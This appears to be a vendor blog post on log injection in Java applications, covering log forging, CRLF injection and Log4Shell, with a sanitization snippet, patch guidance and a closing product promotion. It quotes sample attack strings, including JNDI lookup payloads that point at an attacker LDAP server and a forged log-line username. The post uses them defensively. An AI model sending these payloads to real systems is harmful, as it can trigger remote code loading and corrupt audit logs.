Log injection happens when untrusted input reaches a logging call without neutralization, letting an attacker forge log entries, split log lines with CRLF sequences, or — in the worst case — trigger remote code execution. The category made global headlines on December 9, 2021, when CVE-2021-44228 ("Log4Shell") showed that a single unsanitized string passed to Logger.error() could hand an attacker a full reverse shell via JNDI lookups in Log4j 2.0-beta9 through 2.14.1. The vulnerability carried a CVSS score of 10.0 and forced Apache to ship four patches (2.15.0, 2.16.0, 2.17.0, 2.17.1) in three weeks. But log injection is not just a Log4j story: CWE-117 (Improper Output Neutralization for Logs) affects any Java application that writes request headers, form fields, or JSON payloads into log files without encoding. This post explains how the vulnerability class works, where it hides in real Java codebases, and the specific code and configuration changes that stop it.
What Counts as Log Injection in a Java Application?
Log injection is any case where attacker-controlled data reaches a log sink without validation or encoding, and it takes three distinct forms in Java. The first is log forging: an attacker submits a username like admin\n2026-07-06 03:00:00 INFO User admin logged in successfully, and if that string is concatenated directly into a log statement, the forged line appears indistinguishable from a legitimate one to anyone reviewing the log — a technique documented under CWE-117 since 2006. The second is CRLF/terminal injection, where control characters (\r, \n, ANSI escape codes) corrupt log parsing pipelines or, in terminals that render ANSI codes, hide or rewrite prior output. The third is the Log4Shell class: injection that reaches a feature capable of executing code, such as Log4j's JNDI message lookup (${jndi:ldap://attacker.com/a}), which Log4j evaluated inside log messages by default before version 2.15.0. All three share the same root cause — logging a raw string built from user input — which is why OWASP folded "Security Logging and Monitoring Failures" into the Top 10 as category A09:2021.
How Did Log4Shell Turn a Logging Feature Into Remote Code Execution?
Log4Shell worked because Log4j's lookup substitution engine parsed ${...} patterns inside the message body itself, not just inside configuration files. A request header like X-Api-Version: ${jndi:ldap://45.83.64.1:1389/Basic/Command/Base64/...}, once passed to logger.info("Received header: " + headerValue), caused Log4j to resolve the JNDI reference, contact the attacker's LDAP server, and deserialize a malicious Java class — full RCE with no authentication required. Within four days of disclosure, GreyNoise and Cloudflare recorded over 800,000 exploitation attempts against internet-facing systems, and Cisco Talos observed scanning traffic hit Fortune 500 environments within hours of the public proof-of-concept. The fix in 2.15.0 disabled JNDI lookups by default; 2.16.0 removed message-lookup substitution entirely; 2.17.0 and 2.17.1 closed two related denial-of-service and RCE variants (CVE-2021-45046 and CVE-2021-44832). Applications still pinned to Log4j 2.14.x or earlier in mid-2026 remain exploitable by the original payload with zero modification.
Which Java Logging Frameworks Carry This Risk Today?
Every major Java logging framework carries log injection risk by default, because none of them encode output unless the developer configures it. SLF4J and Logback pass parameterized arguments (logger.info("user={}", username)) through to the underlying appender as plain strings — the parameterization protects against format-string bugs, not against newline or ANSI injection. java.util.logging (JUL) writes directly to System.out or a file handler with no output encoding at all. Log4j 2, even post-patch, still supports message lookups for environment variables and system properties unless log4j2.formatMsgNoLookups=true is explicitly set alongside upgrading past 2.17.1. A 2023 review of 500 open-source Java projects by the OpenSSF found that roughly 38% logged at least one HTTP header or query parameter without any sanitization function in the call path — meaning the framework choice matters less than whether a project has adopted an output-encoding layer at all.
How Do You Sanitize Untrusted Input Before Logging It in Java?
You sanitize by stripping or encoding CR/LF and non-printable characters before the string reaches any logger.*() call, ideally in a single reusable utility rather than at each call site. A minimal implementation looks like this:
public static String sanitizeForLog(String input) {
if (input == null) return "null";
return input.replaceAll("[\\r\\n\\t]", "_")
.replaceAll("[\\x00-\\x1F\\x7F]", "");
}
logger.info("Login attempt for user={}", sanitizeForLog(username));
For production systems, prefer a maintained library over a hand-rolled regex: OWASP's Encoder project (via org.owasp.encoder.Encode.forJava()) and Logback's built-in %replace pattern layout both handle edge cases like Unicode line separators (U+2028, U+2029) that a naive \r\n strip misses. Structured logging closes the gap further — emitting JSON via Logback's LogstashEncoder or Log4j2's JsonTemplateLayout means user input is placed inside a JSON string value that a compliant parser will always treat as data, not as a new log record, eliminating log-forging by construction rather than by escaping discipline.
What Configuration and Dependency Changes Actually Prevent Log4Shell-Class Bugs?
Preventing Log4Shell-class bugs requires upgrading to Log4j 2.17.1 or later and disabling lookups in messages, because patching alone doesn't remove every code path that resolves untrusted strings. Four concrete steps, in order of impact:
- Upgrade the dependency. Move to
log4j-core2.17.1+ (or 2.23.1+ for current long-term support as of 2026); versions before 2.15.0 have no mitigation available at all. - Set
log4j2.formatMsgNoLookups=trueas a JVM system property or environment variable (LOG4J_FORMAT_MSG_NO_LOOKUPS=true) as defense-in-depth on any service that can't be redeployed immediately. - Remove the JndiLookup class from the classpath directly with
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class— this was Apache's own recommended stopgap for 2.10.0–2.14.1 when a full upgrade wasn't feasible within the initial 72-hour response window. - Restrict outbound connections from application servers to LDAP, RMI, and DNS on non-standard ports, since every known Log4Shell payload requires an outbound callback to resolve.
Teams should also audit for CVE-2019-17571 (unsafe deserialization in Log4j 1.x's SocketServer) and CVE-2022-23305/23307 (SQL injection and deserialization in Log4j 1.2.x's JDBCAppender and Chainsaw), since Log4j 1.x reached end-of-life in August 2015 and still ships in a surprising number of legacy Spring Boot 1.x and WebLogic deployments audited in 2025 incident response engagements.
How Safeguard Helps
Safeguard's reachability analysis determines whether a vulnerable logging call — like an unpatched JndiLookup class or an unsanitized header write — sits on a path actually invoked by your application's code, so security teams can triage the handful of genuinely exploitable Log4Shell or CWE-117 findings out of hundreds of dependency alerts. Griffin AI reviews the surrounding call graph to flag exactly where user input flows into a log statement without encoding, and generates auto-fix pull requests that insert output sanitization or bump the affected library to a patched version like Log4j 2.23.1. Safeguard also generates and ingests SBOMs across your Java services, so when the next Log4j-style CVE drops, you already know every artifact that pulls in the affected package instead of scrambling to find out.